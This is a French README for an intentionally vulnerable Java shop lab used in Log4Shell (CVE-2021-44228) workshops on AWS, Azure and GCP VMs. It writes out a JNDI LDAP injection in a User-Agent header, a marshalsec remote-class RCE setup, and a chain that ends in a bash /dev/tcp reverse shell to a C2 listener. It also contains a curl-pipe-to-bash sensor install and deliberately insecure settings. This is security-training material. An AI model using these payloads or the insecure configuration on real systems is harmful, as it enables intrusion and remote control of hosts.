
Boutique Java hébergée sur VM volontairement vulnérable — Laboratoire d'atelier Log4Shell (CVE-2021-44228) (EC2 / Azure VM / GCE)
Boutique classique / traditionnelle intentionnellement vulnérable pour ateliers de sécurité — Java sur une VM (EC2, Azure VM, ou GCP Compute Engine), pas de conteneurs.
Scénario principal : Compromission critique de VM — Injection SQL → Log4Shell (CVE-2021-44228) → reverse shell vers un C2 externe.
[!CAUTION] Ne pas déployer sur des comptes de production. Gardez les VM éphémères et limitées en réseau à votre laboratoire.
Jay's Surf Shop couvre les runtimes cloud-natifs (ECS / ACA / GKE). TraditionalJay couvre le segment hôte / VM :
| Surf Shop | TraditionalJay | |
|---|---|---|
| Calcul | Conteneurs / serverless | VM Linux unique |
| Stack | Next.js + Python | Spring Boot + Log4j2 |
| CVE phare | Pillow, React2Shell, YAML, … | Log4Shell |
cd app
mvn -DskipTests spring-boot:run
# open http://localhost:8080
# exploit lab: http://localhost:8080/security
Java 11+ et Maven requis.
/search extrait une table secrets.2.14.1 vers votre écouteur.bash /dev/tcp de courte durée vers votre écouteur C2.# listeners (reachable from the VM)
python3 tools/ldap-listen.py --port 1389
python3 tools/c2-listen.py --port 4444
# or open http://HOST:8080/security and click Run Critical VM Compromise
curl -s -X POST "http://HOST:8080/api/demo/critical-vm-compromise" \
--data-urlencode "ldap_callback=YOUR_IP:1389" \
--data-urlencode "c2_callback=YOUR_IP:4444" | jq .
Sonde uniquement (prouve l'appel LDAP sortant) :
python3 tools/ldap-listen.py --port 1389
RCE complète (marshalsec LDAP + Exploit.class distant ; la VM exécute avec trustURLCodebase=true intentionnellement) :
./tools/setup-marshalsec.sh
./tools/run-log4shell-ldap.sh --codebase-host YOUR_PUBLIC_IP
Ensuite ouvrez /security, définissez le callback LDAP sur YOUR_PUBLIC_IP:1389, cliquez sur Run Log4Shell. En cas de succès, la VM obtient /tmp/jss-log4shell-rce, /tmp/jss-log4shell-id.txt, et un bash interactif d'environ 45s (PTY via script si disponible) pour des démonstrations de capteur hôte.
Vous pouvez également interroger la recherche avec un User-Agent modifié :
curl -s "http://localhost:8080/search?q=wax" \
-H 'User-Agent: ${jndi:ldap://127.0.0.1:1389/a}' -o /dev/null
Transmettez les identifiants Upwind via terraform.tfvars local (gitignoré). Cloud-init les exporte et scripts/install-vm.sh exécute scripts/install-upwind-sensor.sh.
Mémoire : scanner-v2=true nécessite ~7 GiB de RAM libre au moment de l'installation (pas de disque). Par défaut AWS Terraform utilise t3.large (8 GiB) + racine 40 GiB gp3 pour que le scanner ne soit pas ignoré (Skipping scanner installation, requires 7000000 kB sur les instances plus petites).
curl -s https://get.upwind.io/sensor.sh | \
UPWIND_CLIENT_ID=… \
UPWIND_CLIENT_SECRET=… \
UPWIND_AGENT_EXTRA_CONFIG="scanner-v2=true" \
bash -s
Exemple AWS infrastructure/aws/terraform.tfvars :
upwind_client_id = "…"
upwind_client_secret = "…"
upwind_agent_extra_config = "scanner-v2=true"
Si les identifiants sont vides, l'application s'installe quand même et l'étape du capteur est ignorée.
Workflow GitHub Actions .github/workflows/build.yml :
v* → Release GitHub avec le fat JARLes VM préfèrent le dernier JAR de release via scripts/install-vm.sh, et se rabattent sur une construction Maven sur la machine si aucune release n'existe encore. L'installateur décompresse ensuite le fat JAR sous /opt/traditionaljay/BOOT-INF/lib/ et exécute JarLauncher, de sorte que l'SCA hôte/sans agent puisse voir log4j-core-2.14.1.jar sur le disque (exécuter seulement java -jar app.jar imbrique Log4j dans un zip et cache souvent CVE-2021-44228 de l'inventaire des paquets).
# cut a release (triggers JAR publish)
git tag v0.1.0 && git push origin v0.1.0
Chaque dossier cloud est un Terraform autonome. Le premier démarrage exécute scripts/install-vm.sh (OpenJDK 11 + JAR de release ou construction Maven + systemd).
cd infrastructure/aws
terraform init
terraform apply
terraform output application_url
cd infrastructure/azure
terraform init
terraform apply -var="ssh_public_key=$(cat ~/.ssh/id_rsa.pub)"
terraform output application_url
cd infrastructure/gcp
terraform init
terraform apply -var="project_id=YOUR_PROJECT"
terraform output application_url
Le premier démarrage prend quelques minutes pendant que Maven construit sur l'instance. Ensuite ouvrez http://PUBLIC_IP:8080/security.
app/ Boutique Spring Boot + interface Log4Shell /security
tools/ldap-listen.py Écouteur LDAP simple bannière (preuve d'appel sortant)
tools/run-log4shell-ldap.sh Serveur LDAP RCE complet + serveur de codebase HTTP
tools/exploit/Exploit.java Payload de classe distante pour marshalsec
scripts/install-vm.sh Installateur de VM Cloud-init / manuel
infrastructure/aws|azure|gcp
tools/exploit/Exploit.class pour une vraie RCE Log4Shell dans des sandboxes isolées.-Dcom.sun.jndi.ldap.object.trustURLCodebase=true est intentionnel (désactivé par défaut sur Java 11+).ldap-listen.py reste pour prouver l'appel LDAP sortant sans exécution de code.0.0.0.0/0 sur 22/8080 — resserrez les plages *_ingress_cidr / source pour les laboratoires partagés.